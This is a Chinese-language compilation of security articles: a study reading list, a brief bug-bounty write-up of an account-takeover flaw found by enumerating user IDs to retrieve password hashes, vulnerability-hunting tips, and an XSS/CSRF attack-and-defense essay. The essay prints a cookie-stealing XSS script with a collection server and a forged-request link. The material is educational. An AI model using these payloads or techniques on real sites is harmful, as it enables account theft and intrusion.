本文目录一览：
学信息安全需要哪些基础
一：学网络安全需要的知识：
1、必须精通TCP/IP协议族。
2、学习和了解各种OS 平台，如：linux,UNIX,BSD 等。
3、随时关注网络安全最新安全动态。
4、熟悉有关网络安全的硬软件配置方法。尤其交换机和路由的配置。
5、多泡网络安全论坛。
6、终身学习。
二：网络安全必修课程：（后面的教材仅为参考）
1、专业基础：
1）C/C++：【C++Primer中文版 还有题解c++ primer 需要一定的C++基础，如果要比较基本的话，钱能的那本不错，清华大学出版社的。 c programming languge 全球最经典的C语言教程 中文名字c程序设计语言】
2）汇编语言 asm
3）操作系统【linux,UNIX,BSD】UBUNTU是linux操作系统 鸟哥的linux私房菜】
4）计算机网络
2、系统编程：（Windows核心及网络编程）
2.1、精通VC/C++编程，熟悉windows网络SOCKET编程开发
1）《Windows网络编程（第二版）》（附光盘），（美）Anthony Jones, Jim Ohlund著；杨合庆译；清华大学出版社，2002.1
2）《Windows 核心编程（第四版）》（附光盘），（美）Jetfrey Richter著，王建华 等译；机械工业出版社，2006.9
2.2、逆向工程：
1）《加密与解密（第二版）》（附光盘），段钢 著，电子工业出版社；2004.5
3、网络协议：
1）《计算机网络实验教程》（《COMPUTER NETWORKS: INTERNET PROTOCOLS IN ACTION》），（美）JEANNA MATTHEWS著，李毅超 曹跃 王钰 等译，人民邮电出版社，2006.1
2）《TCP/IP协议详解卷一：协议》、《TCP/IP详解卷2：实现》、《TCP/IP详解卷3：TCP 事务协议、HTTP、NNTP和UNIX域协议》，美 W.Richard Stevens 著，机械工业出版社，2004.9或《用TCP/IP进行网际互联第一卷：原理、协议与结构》、《用TCP/IP进行网际互联第二卷：设计、实现与内核》、《用TCP/IP 进行网际互联第三卷:客户-服务器编程与应用》（第四版）、（美）Douglas E.Comer林瑶 等，电子工业出版社，2001 年5月
4、网络安全专业知识结构：
1）《信息安全原理与应用（第三版）》（《Security in Computing》），（美）CharlesP Pfleeger，Shari Lawrence Pfleeger著；李毅超，蔡洪斌，谭浩 等译； 电子工业出版社，2004.7
2）《黑客大曝光－－网络安全机密与解决方案》（第五版），（美）Stuart McClure，Joel Scambray， George Kurtz；王吉军 等译，清华大学出版社，2006年4月
三：英语学好，也是有用的，尤其是考一些比较有用的证。
漏洞可以随便挖吗
今天测试时发现一个任意用户登录漏洞，简单记录一下（em...写得真的很简单的那种！）
登录成功后的一个请求，里面包含了当前登录用户的用户名和user_id:
后面紧接着一个包含敏感信息的数据包，如下：
可以看到返回信息中包含了当前用户的密码MD5，且可以正常解密。更换为其他的user_id：
可以看到，返回了其他user_id的密码，但是，正常情况下，只有在成功登录一个用户后才能获取用户的user_id，所以要想登录他人账户，必须要知道user_id值对应的用户名.....，既然系统会有一个返回密码的数据包，那就可能有其他的敏感信息返回数据包，于是打开burp的hsitory，底部搜索user_id，终于在茫茫数据包中发现了一个接口：
一个请求，通过登录用户名，返回信息包含了该用户名对应的user_id:
通过id获取密码：
不断遍历用户名可以获得更多的user_id，也就可以通过上面的请求获取更多的用户密码MD5，通过解密后的用户名密码即可登录任意用户：
漏洞挖掘类型总结
如果你刚刚好是一个刚刚学完基础的小白，如果你刚刚好没有参加各种培训，完全自学。
那么你的漏洞清单可能是这样的。
暴力破解漏洞
sql注入漏洞
命令执行漏洞
xss漏洞（跨站脚本）
csrf漏洞（跨站伪造请求）
xxe漏洞
文件上传漏洞
文件包含漏洞
各cms的公开漏洞
没错差不多就是这样的。当然也有可能一些没用写到，因人而异。
如果你有幸看到一个大佬的漏洞清单。那么有可能除了上面那些，还多了下面这几项 逻辑漏洞
ssrf漏洞
信息泄露
js文件可能存在的未授权访问
组合漏洞
……
然而这些也只是一部分，不过我不是大佬，不过欢迎大佬补存，下面我就单讲一下我补充的几种漏洞类型吧。
3: 漏洞类型详解
正式开始前插一条，我之前对漏洞的定义有一点点误解，以为只有上面列表上的才是漏洞，其实不然，只要可以给厂商带来损失的全都是漏洞。逻辑漏洞也是基于这条。回顾一下自己的挖掘过程，其实漏掉了很多。
逻辑漏洞
逻辑漏洞也是一个经久不衰的话题，不过逻辑漏洞并不像前面几种漏洞，可以用扫描器去扫，逻辑漏洞目前，据我所知是没有一个扫描器可以敢说自己能扫到逻辑漏洞的。或许有的厂家敢说自己没有一个sql注入，但是没人敢说自己没有逻辑漏洞（我想也没有厂家敢说自己没有sql注入吧，哈哈哈）。而且，由于现在waf，和防火墙的逐渐完善，sql注入，上传等漏洞，也越来越难以查找和利用，而逻辑漏洞则不存在这种问题。
何为逻辑漏洞，就是由于开发者在开发过程中，由于代码逻辑不严，而造成的一系列可以被攻击者加以恶意利用的漏洞。而逻辑漏洞也是一类漏洞的总称。
举个例子最为常见的就是以低价购买任意价格的东西的支付漏洞，或者找回密码流程控制不严格，导致的可以修改任意用户的登陆密码，还有越权，越权查看他人订单，越权查看他人个人信息等等。
当然这只是一部分，我这里也只是一个引子，具体漏洞的原理以及介绍大家可以去自行搜索关键字，有很多大佬的文章就写得比较好，不然我这篇文章就要写个几十页了。一些漏洞详情大家可以去看乌云。
信息泄露
信息泄露漏洞顾名思义就是信息泄露，信息泄露也分好多种，如。
对于源码泄露，大家可以去github上找，很多程序员会把源码开放在github上，甚至有的人用户名密码都不改的，数据库连接密码啊直接存在源码中，当然想我这种菜鸡找到这种源码泄露就直接提交了，有能力的大佬，直接就是一波审计，然后嘿嘿嘿。而对于员工信息泄露，可以在收集信息的时候收集账号，然后放在社工库跑跑，或者记录下来账号用来爆破。
组合漏洞
组合漏洞是一个可以吧低危漏洞变成高危漏洞的一个神奇的东西。比如你找到一个xss漏洞和一个csrf漏洞，如果两个漏洞单独提交，或许是两个低危，或许是两个忽略。但是如果你把你的xss和csrf组合起来就有可能变成一个高危漏洞，打组合拳，key师傅组合拳打的很厉害，向师傅看齐，key师傅给我说，挖到低危不要着急提交，存起来，万一某一天碰见一另一个漏洞，组合一下，就可以一发入魂了。
说个小技巧，如果你想要详细的漏洞列表，可以去多收集几家src的漏洞说明手册，然后去重，就是一份完美的漏洞列表。
4：个人提高漏洞挖掘能力的方法
这一节讲一下挖掘漏洞应该如何提高和应该有哪些好的习惯。
细心放在第一位，是因为细心真的是非常非常非常重要，我有幸请教过很多大佬成功的秘籍，他们告诉我的第一个词语就是细心，正所谓心细则挖天下。很多漏洞都是需要细心才可以发现，不放过数据包中的任何一个参数，不放过网站的任意一个点，我曾问过团队的小石师傅，如何挖掘那些很多人都挖过的src，这么多人都挖过，一些功能点我还要在测一遍吗。小石师傅并没有给我直接回答，而是讲了他一个漏洞的挖掘经历，那是挖美团的时候，小石师傅直接主站开始挖，并且在个人资料一个很明显的地方，挖到了一个储存xss的高危漏洞。所以，在我们进行漏洞挖掘的时候，不要放弃任何一个可能存在漏洞的地方，每个人都有不同的挖掘方式，网站这么大，总会有几个漏测的地方，并且一个漏洞修复了，谁敢保证，修复完了，就不能再修一个漏洞出来了呢。
耐心
耐心同细心一样，可以说是一对cp。如果你本身就足够信心，那么我想你的耐心也不会差。如果说细心是你漏洞挖掘的利剑，那么耐心就是你的磨刀石，很多时候，碰到一个破站盯几天才能挖到一个漏洞，你坚持下来了就是胜利者，有人说挖洞，也是个运气活，运气好了随随便便就是几个高危，运气不好，几天也挖不到一个。虽然有一定的道理，但是当你的能力足够强，有了自己的套路，想挖漏洞还是轻松加愉快。
会看、会记
会看，会记。这个就简单了，就是要多看多记，多看漏洞详情，多看技术文章，漏洞详情可以在乌云看，还有网上很多人分享的案例，主要是乌云。看完就要记，要让你看的东西真正的成为你的东西，如果你面对一个厂商，还是有无从下手的感觉，就去乌云看漏洞详情，一个一个看，然后把漏洞出现的位置，以及使用的一些技巧记下来，成为属于自己的漏洞挖掘手册，这也是我最近在做的一个事情。还有一些好的文章，好的技巧，或许你一时半会也用不到，但是你要学会记，总有用到的一天。
懂收集
key师傅说过，漏洞挖掘说白了就是一个fuzz的过程，而fuzz最关键的是什么，就是一本高效的字典，没错我们要学会收集字典，想公开的字典有fuzzdb，是一个非常好的fuzz字典合集，当然我们在收集他人字典的同时我们也要自己收集字典，曾经看到一个大佬，搜集了github大量的开发项目的路径，然后组成字典。我也不要求小白可以写程序然后自动收集字典，但是，我们在平时的漏洞挖掘过程中，遇到的一些东西还是要多多的去收集一下，逐步慢慢的形成自己的一本专用字典，绝对可以提高你的漏洞挖掘效率。当你有一本自己收集的字典时，相信你也成为一名大佬了。
勤动手
当你看了大量漏洞，记了大量笔记，这个时候，我相信你最需要的，就是实战，实战是可以把所学所看融会贯通的最快方法，没有之一，只有实战可以锻炼自己的挖洞能力，和效率。看到新的漏洞多去搭建环境复现，这也是对能力的一种提升。
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。